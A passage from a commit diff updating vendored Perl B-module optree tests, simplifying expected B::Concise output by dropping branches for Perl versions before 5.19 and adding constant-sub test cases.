 # f  <1> rv2av[t5] K/1

Modified: vendor/perl/dist/ext/B/t/f_sort
===================================================================
--- vendor/perl/dist/ext/B/t/f_sort	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/t/f_sort	2018-12-22 22:55:19 UTC (rev 12126)
@@ -68,10 +68,6 @@
 use sort 'stable';
 @new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old;
 
-# force use of mergesort (not portable outside Perl 5.8)
-use sort '_mergesort';
- at new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old;
-
 # you should have a good reason to do this!
 @articles = sort {$FooPack::b <=> $FooPack::a} @files;
 

Modified: vendor/perl/dist/ext/B/t/f_sort.t
===================================================================
--- vendor/perl/dist/ext/B/t/f_sort.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/t/f_sort.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,7 +13,7 @@
     }
 }
 use OptreeCheck;
-plan tests => 40;
+plan tests => 38;
 
 =head1 f_sort.t
 
@@ -129,8 +129,7 @@
 # 2  <0> pushmark s
 # 3  <0> pushmark s
 # 4  <#> gv[*files] s
-# 5  <1> rv2av[t9] lK/1		< 5.019002
-# 5  <1> rv2av[t9] lKM/1	>=5.019002
+# 5  <1> rv2av[t9] lKM/1
 # 6  <@> sort lKS*
 # 7  <0> pushmark s
 # 8  <#> gv[*articles] s
@@ -142,8 +141,7 @@
 # 2  <0> pushmark s
 # 3  <0> pushmark s
 # 4  <$> gv(*files) s
-# 5  <1> rv2av[t5] lK/1		< 5.019002
-# 5  <1> rv2av[t5] lKM/1	>=5.019002
+# 5  <1> rv2av[t5] lKM/1
 # 6  <@> sort lKS*
 # 7  <0> pushmark s
 # 8  <$> gv(*articles) s
@@ -280,10 +278,8 @@
 # 2  <0> pushmark s
 # 3  <0> pushmark s
 # 4  <#> gv[*age] s
-# 5  <1> rv2hv[t9] lKRM/1       < 5.019006
-# 5  <1> rv2hv lKRM/1           >=5.019006
-# 6  <1> keys[t10] lK/1		< 5.019002
-# 6  <1> keys[t10] lKM/1	>=5.019002
+# 5  <1> rv2hv[t9] lKRM
+# 6  <1> keys[t10] lKM/1
 # 7  <@> sort lKS*
 # 8  <0> pushmark s
 # 9  <#> gv[*eldest] s
@@ -295,10 +291,8 @@
 # 2  <0> pushmark s
 # 3  <0> pushmark s
 # 4  <$> gv(*age) s
-# 5  <1> rv2hv[t3] lKRM/1       < 5.019006
-# 5  <1> rv2hv lKRM/1           >=5.019006
-# 6  <1> keys[t4] lK/1		< 5.019002
-# 6  <1> keys[t4] lKM/1		>=5.019002
+# 5  <1> rv2hv[t3] lKRM
+# 6  <1> keys[t4] lKM/1
 # 7  <@> sort lKS*
 # 8  <0> pushmark s
 # 9  <$> gv(*eldest) s
@@ -327,8 +321,7 @@
 # 3  <0> pushmark s
 # 4  <$> const[PV "byage"] s/BARE
 # 5  <#> gv[*class] s
-# 6  <1> rv2av[t4] lK/1		< 5.019002
-# 6  <1> rv2av[t4] lKM/1	>=5.019002
+# 6  <1> rv2av[t4] lKM/1
 # 7  <@> sort lKS
 # 8  <0> pushmark s
 # 9  <#> gv[*sortedclass] s
@@ -341,8 +334,7 @@
 # 3  <0> pushmark s
 # 4  <$> const(PV "byage") s/BARE
 # 5  <$> gv(*class) s
-# 6  <1> rv2av[t2] lK/1		< 5.019002
-# 6  <1> rv2av[t2] lKM/1	>=5.019002
+# 6  <1> rv2av[t2] lKM/1
 # 7  <@> sort lKS
 # 8  <0> pushmark s
 # 9  <$> gv(*sortedclass) s
@@ -408,8 +400,7 @@
 # w  <0> pushmark s
 # x  <$> const[PV "backwards"] s/BARE
 # y  <#> gv[*harry] s
-# z  <1> rv2av[t10] lK/1	< 5.019002
-# z  <1> rv2av[t10] lKM/1	>=5.019002
+# z  <1> rv2av[t10] lKM/1
 # 10 <@> sort lKS
 # 11 <@> print vK
 # 12 <;> nextstate(main 602 (eval 32):5) v:{
@@ -458,8 +449,7 @@
 # w  <0> pushmark s
 # x  <$> const(PV "backwards") s/BARE
 # y  <$> gv(*harry) s
-# z  <1> rv2av[t6] lK/1		< 5.019002
-# z  <1> rv2av[t6] lKM/1	>=5.019002
+# z  <1> rv2av[t6] lKM/1
 # 10 <@> sort lKS
 # 11 <@> print vK
 # 12 <;> nextstate(main 602 (eval 32):5) v:{
@@ -586,8 +576,7 @@
 # 3  <0> pushmark s
 # 4  <$> const[PV "other::backwards"] s/BARE
 # 5  <#> gv[*old] s
-# 6  <1> rv2av[t4] lK/1	< 5.019002
-# 6  <1> rv2av[t4] lKM/1	>=5.019002
+# 6  <1> rv2av[t4] lKM/1
 # 7  <@> sort lKS
 # 8  <0> pushmark s
 # 9  <#> gv[*new] s
@@ -600,8 +589,7 @@
 # 3  <0> pushmark s
 # 4  <$> const(PV "other::backwards") s/BARE
 # 5  <$> gv(*old) s
-# 6  <1> rv2av[t2] lK/1		< 5.019002
-# 6  <1> rv2av[t2] lKM/1	>=5.019002
+# 6  <1> rv2av[t2] lKM/1
 # 7  <@> sort lKS
 # 8  <0> pushmark s
 # 9  <$> gv(*new) s
@@ -628,8 +616,7 @@
 # 3  <0> pushmark s
 # 4  <$> const[PV "other::backwards"] s/BARE
 # 5  <#> gv[*old] s
-# 6  <1> rv2av[t4] lK/1		< 5.019002
-# 6  <1> rv2av[t4] lKM/1	>=5.019002
+# 6  <1> rv2av[t4] lKM/1
 # 7  <@> sort lKS
 # 8  <0> pushmark s
 # 9  <#> gv[*new] s
@@ -642,8 +629,7 @@
 # 3  <0> pushmark s
 # 4  <$> const(PV "other::backwards") s/BARE
 # 5  <$> gv(*old) s
-# 6  <1> rv2av[t2] lK/1		< 5.019002
-# 6  <1> rv2av[t2] lKM/1	>=5.019002
+# 6  <1> rv2av[t2] lKM/1
 # 7  <@> sort lKS
 # 8  <0> pushmark s
 # 9  <$> gv(*new) s
@@ -666,8 +652,7 @@
 # 2  <0> pushmark s
 # 3  <0> pushmark s
 # 4  <#> gv[*old] s
-# 5  <1> rv2av[t9] lK/1		< 5.019002
-# 5  <1> rv2av[t9] lKM/1	>=5.019002
+# 5  <1> rv2av[t9] lKM/1
 # 6  <@> sort lKS*/STABLE
 # 7  <0> pushmark s
 # 8  <#> gv[*new] s
@@ -679,8 +664,7 @@
 # 2  <0> pushmark s
 # 3  <0> pushmark s
 # 4  <$> gv(*old) s
-# 5  <1> rv2av[t5] lK/1		< 5.019002
-# 5  <1> rv2av[t5] lKM/1	>=5.019002
+# 5  <1> rv2av[t5] lKM/1
 # 6  <@> sort lKS*/STABLE
 # 7  <0> pushmark s
 # 8  <$> gv(*new) s
@@ -697,46 +681,6 @@
 
 =for gentest
 
-# chunk: # force use of mergesort (not portable outside Perl 5.8)
-use sort '_mergesort';
- at new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old;
-
-=cut
-
-checkOptree(note   => q{},
-	    bcopts => q{-exec},
-	    code   => q{use sort '_mergesort'; @new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old; },
-	    expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT');
-# 1  <;> nextstate(main 662 (eval 42):1) v:%,{
-# 2  <0> pushmark s
-# 3  <0> pushmark s
-# 4  <#> gv[*old] s
-# 5  <1> rv2av[t9] lK/1		< 5.019002
-# 5  <1> rv2av[t9] lKM/1	>=5.019002
-# 6  <@> sort lKS*
-# 7  <0> pushmark s
-# 8  <#> gv[*new] s
-# 9  <1> rv2av[t2] lKRM*/1
-# a  <2> aassign[t14] KS/COM_AGG
-# b  <1> leavesub[1 ref] K/REFC,1
-EOT_EOT
-# 1  <;> nextstate(main 578 (eval 15):1) v:%,{
-# 2  <0> pushmark s
-# 3  <0> pushmark s
-# 4  <$> gv(*old) s
-# 5  <1> rv2av[t5] lK/1		< 5.019002
-# 5  <1> rv2av[t5] lKM/1	>=5.019002
-# 6  <@> sort lKS*
-# 7  <0> pushmark s
-# 8  <$> gv(*new) s
-# 9  <1> rv2av[t1] lKRM*/1
-# a  <2> aassign[t6] KS/COM_AGG
-# b  <1> leavesub[1 ref] K/REFC,1
-EONT_EONT
-    
-
-=for gentest
-
 # chunk: # you should have a good reason to do this!
 @articles = sort {$FooPack::b <=> $FooPack::a} @files;
 
@@ -750,8 +694,7 @@
 # 2  <0> pushmark s
 # 3  <0> pushmark s
 # 4  <#> gv[*files] s
-# 5  <1> rv2av[t7] lK/1		< 5.019002
-# 5  <1> rv2av[t7] lKM/1	>=5.019002
+# 5  <1> rv2av[t7] lKM/1
 # 6  <@> sort lKS*
 # 7  <0> pushmark s
 # 8  <#> gv[*articles] s
@@ -763,8 +706,7 @@
 # 2  <0> pushmark s
 # 3  <0> pushmark s
 # 4  <$> gv(*files) s
-# 5  <1> rv2av[t3] lK/1		< 5.019002
-# 5  <1> rv2av[t3] lKM/1	>=5.019002
+# 5  <1> rv2av[t3] lKM/1
 # 6  <@> sort lKS*
 # 7  <0> pushmark s
 # 8  <$> gv(*articles) s
@@ -791,13 +733,11 @@
 # 4  <0> pushmark s
 # 5  <#> gv[*input] s
 # 6  <1> rv2av[t9] lKM/1
-# 7  <@> grepstart lK*              < 5.017002
-# 7  <@> grepstart lK               >=5.017002
+# 7  <@> grepstart lK
 # 8  <|> grepwhile(other->9)[t10] lK
 # 9      <#> gvsv[*_] s
 # a      <#> gvsv[*_] s
 # b      <2> eq sK/2
-# -      <@> scope sK              < 5.017002
 #            goto 8
 # c  <@> sort lK/NUM
 # d  <0> pushmark s
@@ -812,13 +752,11 @@
 # 4  <0> pushmark s
 # 5  <$> gv(*input) s
 # 6  <1> rv2av[t3] lKM/1
-# 7  <@> grepstart lK*              < 5.017002
-# 7  <@> grepstart lK               >=5.017002
+# 7  <@> grepstart lK
 # 8  <|> grepwhile(other->9)[t4] lK
 # 9      <$> gvsv(*_) s
 # a      <$> gvsv(*_) s
 # b      <2> eq sK/2
-# -      <@> scope sK              < 5.017002
 #            goto 8
 # c  <@> sort lK/NUM
 # d  <0> pushmark s
@@ -872,13 +810,11 @@
 # 3  <0> pushmark s
 # 4  <#> gv[*input] s
 # 5  <1> rv2av[t7] lKM/1
-# 6  <@> grepstart lK*              < 5.017002
-# 6  <@> grepstart lK               >=5.017002
+# 6  <@> grepstart lK
 # 7  <|> grepwhile(other->8)[t8] lK
 # 8      <#> gvsv[*_] s
 # 9      <#> gvsv[*_] s
 # a      <2> eq sK/2
-# -      <@> scope sK              < 5.017002
 #            goto 7
 # b  <@> sort K/NUM
 # c  <1> leavesub[1 ref] K/REFC,1
@@ -888,13 +824,11 @@
 # 3  <0> pushmark s
 # 4  <$> gv(*input) s
 # 5  <1> rv2av[t2] lKM/1
-# 6  <@> grepstart lK*              < 5.017002
-# 6  <@> grepstart lK               >=5.017002
+# 6  <@> grepstart lK
 # 7  <|> grepwhile(other->8)[t3] lK
 # 8      <$> gvsv(*_) s
 # 9      <$> gvsv(*_) s
 # a      <2> eq sK/2
-# -      <@> scope sK              < 5.017002
 #            goto 7
 # b  <@> sort K/NUM
 # c  <1> leavesub[1 ref] K/REFC,1
@@ -947,13 +881,11 @@
 # 3  <0> pushmark s
 # 4  <#> gv[*input] s
 # 5  <1> rv2av[t8] lKM/1
-# 6  <@> grepstart lK*              < 5.017002
-# 6  <@> grepstart lK               >=5.017002
+# 6  <@> grepstart lK
 # 7  <|> grepwhile(other->8)[t9] lK
 # 8      <#> gvsv[*_] s
 # 9      <#> gvsv[*_] s
 # a      <2> eq sK/2
-# -      <@> scope sK              < 5.017002
 #            goto 7
 # b  <@> sort sK/NUM
 # c  <#> gvsv[*s] s
@@ -965,13 +897,11 @@
 # 3  <0> pushmark s
 # 4  <$> gv(*input) s
 # 5  <1> rv2av[t2] lKM/1
-# 6  <@> grepstart lK*              < 5.017002
-# 6  <@> grepstart lK               >=5.017002
+# 6  <@> grepstart lK
 # 7  <|> grepwhile(other->8)[t3] lK
 # 8      <$> gvsv(*_) s
 # 9      <$> gvsv(*_) s
 # a      <2> eq sK/2
-# -      <@> scope sK              < 5.017002
 #            goto 7
 # b  <@> sort sK/NUM
 # c  <$> gvsv(*s) s

Modified: vendor/perl/dist/ext/B/t/optree_constants.t
===================================================================
--- vendor/perl/dist/ext/B/t/optree_constants.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/t/optree_constants.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,10 +16,21 @@
 use OptreeCheck;	# ALSO DOES @ARGV HANDLING !!!!!!
 use Config;
 
-plan tests => 67;
+plan tests => 99;
 
 #################################
 
+my sub lleexx {}
+sub tsub0 {}
+sub tsub1 {} $tsub1 = 1;
+sub t::tsub2 {}
+sub t::tsub3 {} $tsub3 = 1;
+{
+    package t;
+    sub tsub4 {}
+    sub tsub5 {} $tsub5 = 1;
+}
+
 use constant {		# see also t/op/gv.t line 358
     myaref	=> [ 1,2,3 ],
     myfl	=> 1.414213,
@@ -31,6 +42,14 @@
     mysub	=> \&ok,
     myundef	=> undef,
     myunsub	=> \&nosuch,
+    myanonsub	=> sub {},
+    mylexsub	=> \&lleexx,
+    tsub0	=> \&tsub0,
+    tsub1	=> \&tsub1,
+    tsub2	=> \&t::tsub2,
+    tsub3	=> \&t::tsub3,
+    tsub4	=> \&t::tsub4,
+    tsub5	=> \&t::tsub5,
 };
 
 sub myyes() { 1==1 }
@@ -37,26 +56,28 @@
 sub myno () { return 1!=1 }
 sub pi () { 3.14159 };
 
-my $RV_class = $] >= 5.011 ? 'IV' : 'RV';
-
 my $want = {	# expected types, how value renders in-line, todos (maybe)
     mystr	=> [ 'PV', '"'.mystr.'"' ],
-    myhref	=> [ $RV_class, '\\\\HASH'],
+    myhref	=> [ 'IV', '\\\\HASH'],
     pi		=> [ 'NV', pi ],
-    myglob	=> [ $RV_class, '\\\\' ],
-    mysub	=> [ $RV_class, '\\\\' ],
-    myunsub	=> [ $RV_class, '\\\\' ],
+    myglob	=> [ 'IV', '\\\\' ],
+    mysub	=> [ 'IV', '\\\\&main::ok' ],
+    myunsub	=> [ 'IV', '\\\\&main::nosuch' ],
+    myanonsub	=> [ 'IV', '\\\\CODE' ],
+    mylexsub	=> [ 'IV', '\\\\&lleexx' ],
+    tsub0	=> [ 'IV', '\\\\&main::tsub0' ],
+    tsub1	=> [ 'IV', '\\\\&main::tsub1' ],
+    tsub2	=> [ 'IV', '\\\\&t::tsub2' ],
+    tsub3	=> [ 'IV', '\\\\&t::tsub3' ],
+    tsub4	=> [ 'IV', '\\\\&t::tsub4' ],
+    tsub5	=> [ 'IV', '\\\\&t::tsub5' ],
     # these are not inlined, at least not per BC::Concise
-    #myyes	=> [ $RV_class, ],
-    #myno	=> [ $RV_class, ],
-    myaref	=> [ $RV_class, '\\\\' ],
+    #myyes	=> [ 'IV', ],
+    #myno	=> [ 'IV', ],
+    myaref	=> [ 'IV', '\\\\ARRAY' ],
     myfl	=> [ 'NV', myfl ],
     myint	=> [ 'IV', myint ],
-    $] >= 5.011 ? (
-    myrex	=> [ $RV_class, '\\\\"\\(?^:Foo\\)"' ],
-    ) : (
-    myrex	=> [ $RV_class, '\\\\' ],
-    ),
+    myrex	=> [ 'IV', '\\\\"\\(?^:Foo\\)"' ],
     myundef	=> [ 'NULL', ],
 };
 
@@ -102,14 +123,12 @@
 3  <1> leavesub[2 refs] K/REFC,1 ->(end)
 -     <\@> lineseq KP ->3
 1        <;> dbstate(main 833 (eval 44):1) v ->2
-2        <\$> const[$want->{$func}[0] $want->{$func}[1]] s* ->3      < 5.017002
-2        <\$> const[$want->{$func}[0] $want->{$func}[1]] s*/FOLD ->3 >=5.017002
+2        <\$> const[$want->{$func}[0] $want->{$func}[1]] s*/FOLD ->3
 EOT_EOT
 3  <1> leavesub[2 refs] K/REFC,1 ->(end)
 -     <\@> lineseq KP ->3
 1        <;> dbstate(main 833 (eval 44):1) v ->2
-2        <\$> const($want->{$func}[0] $want->{$func}[1]) s* ->3      < 5.017002
-2        <\$> const($want->{$func}[0] $want->{$func}[1]) s*/FOLD ->3 >=5.017002
+2        <\$> const($want->{$func}[0] $want->{$func}[1]) s*/FOLD ->3
 EONT_EONT
 
 }
@@ -137,8 +156,7 @@
 # 2     <;> nextstate(main 2 -e:1) v:>,<,%,{ ->3
 # 5     <@> print vK ->6
 # 3        <0> pushmark s ->4
-# 4        <$> const[SPECIAL sv_yes] s* ->5         < 5.017002
-# 4        <$> const[SPECIAL sv_yes] s*/FOLD ->5    >=5.017002
+# 4        <$> const[SPECIAL sv_yes] s*/FOLD ->5
 EOT_EOT
 # 6  <@> leave[1 ref] vKP/REFC ->(end)
 # 1     <0> enter ->2
@@ -145,8 +163,7 @@
 # 2     <;> nextstate(main 2 -e:1) v:>,<,%,{ ->3
 # 5     <@> print vK ->6
 # 3        <0> pushmark s ->4
-# 4        <$> const(SPECIAL sv_yes) s* ->5         < 5.017002
-# 4        <$> const(SPECIAL sv_yes) s*/FOLD ->5    >=5.017002
+# 4        <$> const(SPECIAL sv_yes) s*/FOLD ->5
 EONT_EONT
 
 
@@ -163,8 +180,7 @@
 # 2     <;> nextstate(main 2 -e:1) v:>,<,%,{ ->3
 # 5     <@> print vK ->6
 # 3        <0> pushmark s ->4
-# 4        <$> const[SPECIAL sv_no] s* ->5         < 5.017002
-# 4        <$> const[SPECIAL sv_no] s*/FOLD ->5    >=5.017002
+# 4        <$> const[SPECIAL sv_no] s*/FOLD ->5
 EOT_EOT
 # 6  <@> leave[1 ref] vKP/REFC ->(end)
 # 1     <0> enter ->2
@@ -171,25 +187,11 @@
 # 2     <;> nextstate(main 2 -e:1) v:>,<,%,{ ->3
 # 5     <@> print vK ->6
 # 3        <0> pushmark s ->4
-# 4        <$> const(SPECIAL sv_no) s* ->5         < 5.017002
-# 4        <$> const(SPECIAL sv_no) s*/FOLD ->5    >=5.017002
+# 4        <$> const(SPECIAL sv_no) s*/FOLD ->5
 EONT_EONT
 
 
-my ($expect, $expect_nt) =
-    $] >= 5.019003
-	? (" is a constant sub, optimized to a AV\n") x 2
-	: (<<'EOT_EOT', <<'EONT_EONT');
-# 3  <1> leavesub[2 refs] K/REFC,1 ->(end)
-# -     <@> lineseq K ->3
-# 1        <;> nextstate(constant 61 constant.pm:118) v:*,&,x*,x&,x$ ->2
-# 2        <0> padav[@list:FAKE:m:96] ->3
-EOT_EOT
-# 3  <1> leavesub[2 refs] K/REFC,1 ->(end)
-# -     <@> lineseq K ->3
-# 1        <;> nextstate(constant 61 constant.pm:118) v:*,&,x*,x&,x$ ->2
-# 2        <0> padav[@list:FAKE:m:71] ->3
-EONT_EONT
+my ($expect, $expect_nt) = (" is a constant sub, optimized to a AV\n") x 2;
 
 
 checkOptree ( name	=> 'constant sub returning list',
@@ -210,14 +212,10 @@
 # 8        <@> prtf sK ->9
 # 2           <0> pushmark sM ->3
 # 3           <$> const[PV "myint %d mystr %s myfl %f pi %f\n"] sM/FOLD ->4
-# 4           <$> const[IV 42] sM* ->5          < 5.017002
-# 5           <$> const[PV "hithere"] sM* ->6   < 5.017002
-# 6           <$> const[NV 1.414213] sM* ->7    < 5.017002
-# 7           <$> const[NV 3.14159] sM* ->8     < 5.017002
-# 4           <$> const[IV 42] sM*/FOLD ->5          >=5.017002 
-# 5           <$> const[PV "hithere"] sM*/FOLD ->6   >=5.017002
-# 6           <$> const[NV 1.414213] sM*/FOLD ->7    >=5.017002
-# 7           <$> const[NV 3.14159] sM*/FOLD ->8     >=5.017002
+# 4           <$> const[IV 42] sM*/FOLD ->5
+# 5           <$> const[PV "hithere"] sM*/FOLD ->6
+# 6           <$> const[NV 1.414213] sM*/FOLD ->7
+# 7           <$> const[NV 3.14159] sM*/FOLD ->8
 EOT_EOT
 # 9  <1> leavesub[1 ref] K/REFC,1 ->(end)
 # -     <@> lineseq KP ->9
@@ -225,22 +223,13 @@
 # 8        <@> prtf sK ->9
 # 2           <0> pushmark sM ->3
 # 3           <$> const(PV "myint %d mystr %s myfl %f pi %f\n") sM/FOLD ->4
-# 4           <$> const(IV 42) sM* ->5          < 5.017002
-# 5           <$> const(PV "hithere") sM* ->6   < 5.017002
-# 6           <$> const(NV 1.414213) sM* ->7    < 5.017002
-# 7           <$> const(NV 3.14159) sM* ->8     < 5.017002
-# 4           <$> const(IV 42) sM*/FOLD ->5          >=5.017002 
-# 5           <$> const(PV "hithere") sM*/FOLD ->6   >=5.017002
-# 6           <$> const(NV 1.414213) sM*/FOLD ->7    >=5.017002
-# 7           <$> const(NV 3.14159) sM*/FOLD ->8     >=5.017002
+# 4           <$> const(IV 42) sM*/FOLD ->5
+# 5           <$> const(PV "hithere") sM*/FOLD ->6
+# 6           <$> const(NV 1.414213) sM*/FOLD ->7
+# 7           <$> const(NV 3.14159) sM*/FOLD ->8
 EONT_EONT
 
-if($] < 5.015) {
-    s/M(?=\*? ->)//g for $expect, $expect_nt;
-}
-if($] < 5.017002 || $] >= 5.019004) {
-    s|\\n"[])] sM\K/FOLD|| for $expect, $expect_nt;
-}
+s|\\n"[])] sM\K/FOLD|| for $expect, $expect_nt;
 
 checkOptree ( name	=> 'call many in a print statement',
 	      code	=> \&printem,
@@ -258,8 +247,7 @@
 # 1        <;> nextstate(main 937 (eval 53):1) v ->2
 # 4        <@> print sK ->5
 # 2           <0> pushmark s ->3
-# 3           <$> const[IV 6] s ->4      < 5.017002
-# 3           <$> const[IV 6] s/FOLD ->4 >=5.017002
+# 3           <$> const[IV 6] s/FOLD ->4
 EOT_EOT
 # 5  <1> leavesub[1 ref] K/REFC,1 ->(end)
 # -     <@> lineseq KP ->5
@@ -266,8 +254,7 @@
 # 1        <;> nextstate(main 937 (eval 53):1) v ->2
 # 4        <@> print sK ->5
 # 2           <0> pushmark s ->3
-# 3           <$> const(IV 6) s ->4      < 5.017002
-# 3           <$> const(IV 6) s/FOLD ->4 >=5.017002
+# 3           <$> const(IV 6) s/FOLD ->4
 EONT_EONT
 
 checkOptree ( name	=> 'string constant folding in print',
@@ -279,8 +266,7 @@
 # 1        <;> nextstate(main 942 (eval 55):1) v ->2
 # 4        <@> print sK ->5
 # 2           <0> pushmark s ->3
-# 3           <$> const[PV "foobar"] s ->4      < 5.017002
-# 3           <$> const[PV "foobar"] s/FOLD ->4 >=5.017002
+# 3           <$> const[PV "foobar"] s/FOLD ->4
 EOT_EOT
 # 5  <1> leavesub[1 ref] K/REFC,1 ->(end)
 # -     <@> lineseq KP ->5
@@ -287,8 +273,7 @@
 # 1        <;> nextstate(main 942 (eval 55):1) v ->2
 # 4        <@> print sK ->5
 # 2           <0> pushmark s ->3
-# 3           <$> const(PV "foobar") s ->4      < 5.017002
-# 3           <$> const(PV "foobar") s/FOLD ->4 >=5.017002
+# 3           <$> const(PV "foobar") s/FOLD ->4
 EONT_EONT
 
 checkOptree ( name	=> 'boolean or folding',
@@ -298,8 +283,7 @@
 # 5  <1> leavesub[1 ref] K/REFC,1 ->(end)
 # -     <@> lineseq KP ->5
 # 1        <;> nextstate(main 942 (eval 55):1) v ->2
-# 4        <@> print sK ->5      < 5.019004
-# 4        <@> print sK/FOLD ->5 >=5.019004
+# 4        <@> print sK/FOLD ->5
 # 2           <0> pushmark s ->3
 # 3           <$> const[PV "foobar"] s ->4
 EOT_EOT
@@ -306,8 +290,7 @@
 # 5  <1> leavesub[1 ref] K/REFC,1 ->(end)
 # -     <@> lineseq KP ->5
 # 1        <;> nextstate(main 942 (eval 55):1) v ->2
-# 4        <@> print sK ->5      < 5.019004
-# 4        <@> print sK/FOLD ->5 >=5.019004
+# 4        <@> print sK/FOLD ->5
 # 2           <0> pushmark s ->3
 # 3           <$> const(PV "foobar") s ->4
 EONT_EONT
@@ -328,76 +311,61 @@
 # -     <@> lineseq KP ->r
 # 1        <;> nextstate(main 916 optree_constants.t:307) v:>,<,%,{ ->2
 # 4        <2> sassign vKS/2 ->5
-# 2           <$> const[PV "FOO.Bar.low.lOW"] s ->3      < 5.017002
-# 2           <$> const[PV "FOO.Bar.low.lOW"] s/FOLD ->3 >=5.017002
+# 2           <$> const[PV "FOO.Bar.low.lOW"] s/FOLD ->3
 # -           <1> ex-rv2sv sKRM*/1 ->4
 # 3              <#> gvsv[*s] s ->4
 # 5        <;> nextstate(main 916 optree_constants.t:308) v:>,<,%,{ ->6
-# 8        <@> print vK ->9      < 5.019004
-# 8        <@> print vK/FOLD ->9 >=5.019004
+# 8        <@> print vK/FOLD ->9
 # 6           <0> pushmark s ->7
 # 7           <$> const[PV "a-lt-b"] s ->8
 # 9        <;> nextstate(main 916 optree_constants.t:309) v:>,<,%,{ ->a
-# c        <@> print vK ->d      < 5.019004
-# c        <@> print vK/FOLD ->d >=5.019004
+# c        <@> print vK/FOLD ->d
 # a           <0> pushmark s ->b
 # b           <$> const[PV "b-gt-a"] s ->c
 # d        <;> nextstate(main 916 optree_constants.t:310) v:>,<,%,{ ->e
-# g        <@> print vK ->h      < 5.019004
-# g        <@> print vK/FOLD ->h >=5.019004
+# g        <@> print vK/FOLD ->h
 # e           <0> pushmark s ->f
 # f           <$> const[PV "a-le-b"] s ->g
 # h        <;> nextstate(main 916 optree_constants.t:311) v:>,<,%,{ ->i
-# k        <@> print vK ->l      < 5.019004
-# k        <@> print vK/FOLD ->l >=5.019004
+# k        <@> print vK/FOLD ->l
 # i           <0> pushmark s ->j
 # j           <$> const[PV "b-ge-a"] s ->k
 # l        <;> nextstate(main 916 optree_constants.t:312) v:>,<,%,{ ->m
-# o        <@> print vK ->p      < 5.019004
-# o        <@> print vK/FOLD ->p >=5.019004
+# o        <@> print vK/FOLD ->p
 # m           <0> pushmark s ->n
 # n           <$> const[PV "b-cmp-a"] s ->o
 # p        <;> nextstate(main 916 optree_constants.t:313) v:>,<,%,{ ->q
-# q        <$> const[PVNV 0] s/SHORT ->r      < 5.017002
-# q        <$> const[PVNV 0] s/FOLD,SHORT ->r >=5.017002 < 5.019003
-# q        <$> const[SPECIAL sv_no] s/SHORT,FOLD ->r >=5.019003
+# q        <$> const[SPECIAL sv_no] s/SHORT,FOLD ->r
 EOT_EOT
 # r  <1> leavesub[1 ref] K/REFC,1 ->(end)
 # -     <@> lineseq KP ->r
 # 1        <;> nextstate(main 916 optree_constants.t:307) v:>,<,%,{ ->2
 # 4        <2> sassign vKS/2 ->5
-# 2           <$> const(PV "FOO.Bar.low.lOW") s ->3      < 5.017002
-# 2           <$> const(PV "FOO.Bar.low.lOW") s/FOLD ->3 >=5.017002
+# 2           <$> const(PV "FOO.Bar.low.lOW") s/FOLD ->3
 # -           <1> ex-rv2sv sKRM*/1 ->4
 # 3              <$> gvsv(*s) s ->4
 # 5        <;> nextstate(main 916 optree_constants.t:308) v:>,<,%,{ ->6
-# 8        <@> print vK ->9      < 5.019004
-# 8        <@> print vK/FOLD ->9 >=5.019004
+# 8        <@> print vK/FOLD ->9
 # 6           <0> pushmark s ->7
 # 7           <$> const(PV "a-lt-b") s ->8
 # 9        <;> nextstate(main 916 optree_constants.t:309) v:>,<,%,{ ->a
-# c        <@> print vK ->d      < 5.019004
-# c        <@> print vK/FOLD ->d >=5.019004
+# c        <@> print vK/FOLD ->d
 # a           <0> pushmark s ->b
 # b           <$> const(PV "b-gt-a") s ->c
 # d        <;> nextstate(main 916 optree_constants.t:310) v:>,<,%,{ ->e
-# g        <@> print vK ->h      < 5.019004
-# g        <@> print vK/FOLD ->h >=5.019004
+# g        <@> print vK/FOLD ->h
 # e           <0> pushmark s ->f
 # f           <$> const(PV "a-le-b") s ->g
 # h        <;> nextstate(main 916 optree_constants.t:311) v:>,<,%,{ ->i
-# k        <@> print vK ->l      < 5.019004
-# k        <@> print vK/FOLD ->l >=5.019004
+# k        <@> print vK/FOLD ->l
 # i           <0> pushmark s ->j
 # j           <$> const(PV "b-ge-a") s ->k
 # l        <;> nextstate(main 916 optree_constants.t:312) v:>,<,%,{ ->m
-# o        <@> print vK ->p      < 5.019004
-# o        <@> print vK/FOLD ->p >=5.019004
+# o        <@> print vK/FOLD ->p
 # m           <0> pushmark s ->n
 # n           <$> const(PV "b-cmp-a") s ->o
 # p        <;> nextstate(main 916 optree_constants.t:313) v:>,<,%,{ ->q
-# q        <$> const(SPECIAL sv_no) s/SHORT ->r      < 5.017002
-# q        <$> const(SPECIAL sv_no) s/SHORT,FOLD ->r >=5.017002
+# q        <$> const(SPECIAL sv_no) s/SHORT,FOLD ->r
 EONT_EONT
 
 checkOptree ( name	=> 'mixed constant folding, with explicit braces',
@@ -409,8 +377,7 @@
 # 1        <;> nextstate(main 977 (eval 28):1) v ->2
 # 4        <@> print sK ->5
 # 2           <0> pushmark s ->3
-# 3           <$> const[PV "foobar5"] s ->4      < 5.017002
-# 3           <$> const[PV "foobar5"] s/FOLD ->4 >=5.017002
+# 3           <$> const[PV "foobar5"] s/FOLD ->4
 EOT_EOT
 # 5  <1> leavesub[1 ref] K/REFC,1 ->(end)
 # -     <@> lineseq KP ->5
@@ -417,8 +384,7 @@
 # 1        <;> nextstate(main 977 (eval 28):1) v ->2
 # 4        <@> print sK ->5
 # 2           <0> pushmark s ->3
-# 3           <$> const(PV "foobar5") s ->4      < 5.017002
-# 3           <$> const(PV "foobar5") s/FOLD ->4 >=5.017002
+# 3           <$> const(PV "foobar5") s/FOLD ->4
 EONT_EONT
 
 __END__

Modified: vendor/perl/dist/ext/B/t/optree_misc.t
===================================================================
--- vendor/perl/dist/ext/B/t/optree_misc.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/t/optree_misc.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -65,30 +65,7 @@
 checkOptree ( name	=> 'PMOP children',
 	      code	=> sub { $foo =~ s/(a)/$1/ },
